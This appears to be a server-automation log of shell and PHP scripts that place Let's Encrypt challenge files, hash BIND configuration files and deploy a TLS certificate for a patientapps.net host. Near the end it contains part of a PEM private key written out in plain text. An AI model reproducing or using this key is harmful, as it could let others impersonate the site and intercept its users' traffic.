L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-01-06 06:00:03: Establishing a connection
2026-01-06 06:00:03: Establishing a connection
2026-01-06 06:00:03: 

PUT: /tmp/pkp154299

#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-06 06:00:04: 

chmod 755 /tmp/pkp154299; /tmp/pkp154299; rm /tmp/pkp154299

2026-01-06 06:00:04: 


1


2026-01-06 06:00:05: Establishing a connection
2026-01-06 06:00:05: 

PUT: /tmp/pkp944710

#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > ybeAR49fgHNFUrshBmulQRhbWpA_19h9til0xAJqqHM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
ybeAR49fgHNFUrshBmulQRhbWpA_19h9til0xAJqqHM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 ybeAR49fgHNFUrshBmulQRhbWpA_19h9til0xAJqqHM


2026-01-06 06:00:05: 

chmod 755 /tmp/pkp944710; /tmp/pkp944710; rm /tmp/pkp944710

2026-01-06 06:00:05: 




2026-01-06 11:05:24: Establishing a connection
2026-01-06 12:43:15: Establishing a connection
2026-01-06 12:43:39: Establishing a connection
2026-01-06 12:43:40: 

PUT: /tmp/pkp200055

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-06 12:43:40: 

runuser -l bind -s /bin/bash -c '/tmp/pkp200055; rm /tmp/pkp200055'

2026-01-06 12:43:41: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-06 12:43:48: Establishing a connection
2026-01-06 12:43:48: Establishing a connection
2026-01-06 12:43:48: 

PUT: /tmp/pkp471867

#!/bin/bash
if [ -d "/var/www/patientapps_portal/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-06 12:43:48: 

chmod 755 /tmp/pkp471867; /tmp/pkp471867; rm /tmp/pkp471867

2026-01-06 12:43:48: 


0


2026-01-06 12:44:17: Establishing a connection
2026-01-06 12:44:17: 

PUT: /tmp/pkp802680

#!/bin/bash
temp_file=$(mktemp)
TARGET=01745ae0ff7ef97623b09d98f99c6ad6.crt

cat > $temp_file <<'endmsg'
ff:0c:5d:91:3e:b3:83:a1:e0:b1:5b:85:da:ac:82:6e

-----BEGIN CERTIFICATE-----
MIIFHTCCBAWgAwIBAgISBRpkHN732Po4QbgfbucPMBT4MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTA2MTE0NTQ2WhcNMjYwNDA2MTE0NTQ1WjAnMSUwIwYDVQQD
ExxhdGhlbmFoZWFsdGgucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEA4NqrH81sbrFfUiMC4JGU0VbMW72N2rHW7gIJ6TATXDHF
lSRXyz4nmX65+bUIp3ti5NRoOzMvPa04h/zkRPiiCJK1ASB+zt6z3MYzx96xOx2Z
v35mCK3detYZSQDibUu0Y6ydCFKwPqrsWXouDIofqqdcEUcjWVPQY3m7ViqPoGWP
Frtly3AO4NF9KTSN1zK1iXa4AgG/QI7UHkwBAthP4guw/jF5z1YySZxMHYi4akmO
gGRlVvdgHs7hA6NI5h7RK9pSqJLX53FOsgqTi0DGrfw1mtCQA3+zy9y3yPMLdcwc
hJh8h2/f02pAbKCkSKoPKHXPTsd3AHOS5j5MrX6IYQIDAQABo4ICNTCCAjEwDgYD
VR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNV
HRMBAf8EAjAAMB0GA1UdDgQWBBRyjfcSvXukKmB1DBrI7MuoerSl2jAfBgNVHSME
GDAWgBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYB
BQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCcGA1UdEQQgMB6CHGF0aGVu
YWhlYWx0aC5wYXRpZW50YXBwcy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYD
VR0fBCgwJjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMjEuY3JsMIIB
DAYKKwYBBAHWeQIEAgSB/QSB+gD4AH4A4yON8o2iiOCq4Kzw+pDJhfC2v/XSpSew
AfwcRFjEtugAAAGbk1YrDAAIAAAFAC51gcwEAwBHMEUCIBjKJvDZ3oe/3kTprry2
L1G0eyIke5jLwY8RbDfg7uILAiEA6ha3e1fUsHwjS/e6wn8DmRVsJqjiQXH2kSUf
NsBmIwYAdgDRbqmlaAd+ZjWgPzel3bwDpTxBEhTUiBj16TGzI8uVBAAAAZuTViu2
AAAEAwBHMEUCIDM+nkAi/suv3MWedOOwj1Lx7FvnVGQI0HFdQKSrCDuJAiEAppez
7hZUvet+4tlGxWdJ+Gus+YnTEYZQwFDsWKE4LbEwDQYJKoZIhvcNAQELBQADggEB
AHd636KR3uNyK0WsQrBRF+zh0zNALZ4WxmMuQcypWhGP/e4cH7ZP+/JHV+v4P8TQ
GGIIZloHz+QFEgHVH38t6sekcPB1AOG+bvMmMl4JNFEmhjP+HpWBMIHoazgsu87t
0fSQvA23Yh167BQbsH1sm/vWO/dD20cW/Cp+/iZ6tTSjAmEfPPDt/k2bVVu8qlZx
59qQXLaY04tX0qAts9zMXmKoNi/1rBGqD4b8zIFHvfZjSW70yptkB6phfa9lbomi
80aXdnby2bJnoorG2xtafpqLms2WXuJ4fvFPvZJt2c5f4+sw93cGYoJRNjMn7xX6
8gpzfyAejZqzFERg4oWJgwY=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDg2qsfzWxusV9S
IwLgkZTRVsxbvY3asdbuAgnpMBNcMcWVJFfLPieZfrn5tQine2Lk1Gg7My89rTiH
/ORE+KIIkrUBIH7O3rPcxjPH3rE7HZm/fmYIrd161hlJAOJtS7RjrJ0IUrA+quxZ
ei4Mih+qp1wRRyNZU9BjebtWKo+gZY8Wu2XLcA7g0X0pNI3XMrWJdrgCAb9AjtQe
TAEC2E/iC7D+MXnPVjJJnEwdiLhqSY6AZGVW92AezuEDo0jmHtEr2lKoktfncU6y
CpOLQMat/DWa0JADf7PL3LfI8wt1zByEmHyHb9/TakBsoKRIqg8odc9Ox3cAc5Lm
PkytfohhAgMBAAECggEAJuPLKyH1eiO1b9hcXAjx608O42MikMund9zkZ++Hua9m
FAiIIr/qS3MOqXC1QXpmvVs7d9m/dvRpzaNgu8khBUiSg9Jh/FeqVin1tMEAeFAD
UoqDDUc9AkzbbLP5dZvdZEvrkQ/0KbKYVFV8d3DAT1zI4LgkFgQYC8x3KU0NMFlt
Tmhj35oYeoRy+0lVQTn9/UHOnvr3dlI4I1O2DhCRojMqF9UJbE7goS43hYODqnVn
l4bNAaw0rV2me6hH6tMVFlk+at2eFxzl4o9vakYJ66pyPS85MshqYQCDfn0LGgEr
HF3euZLszUABghH8o+dTmo2bEDu+ivbiv6V+5CyFDQKBgQD8rg/g3N7Q9a24Ybcu
uf4q9tTJ++EuI+bUVRnuHNeSeu5d+JkwMvWc17UHs0rlgb5AF5wkDD2vqWiqtyiR
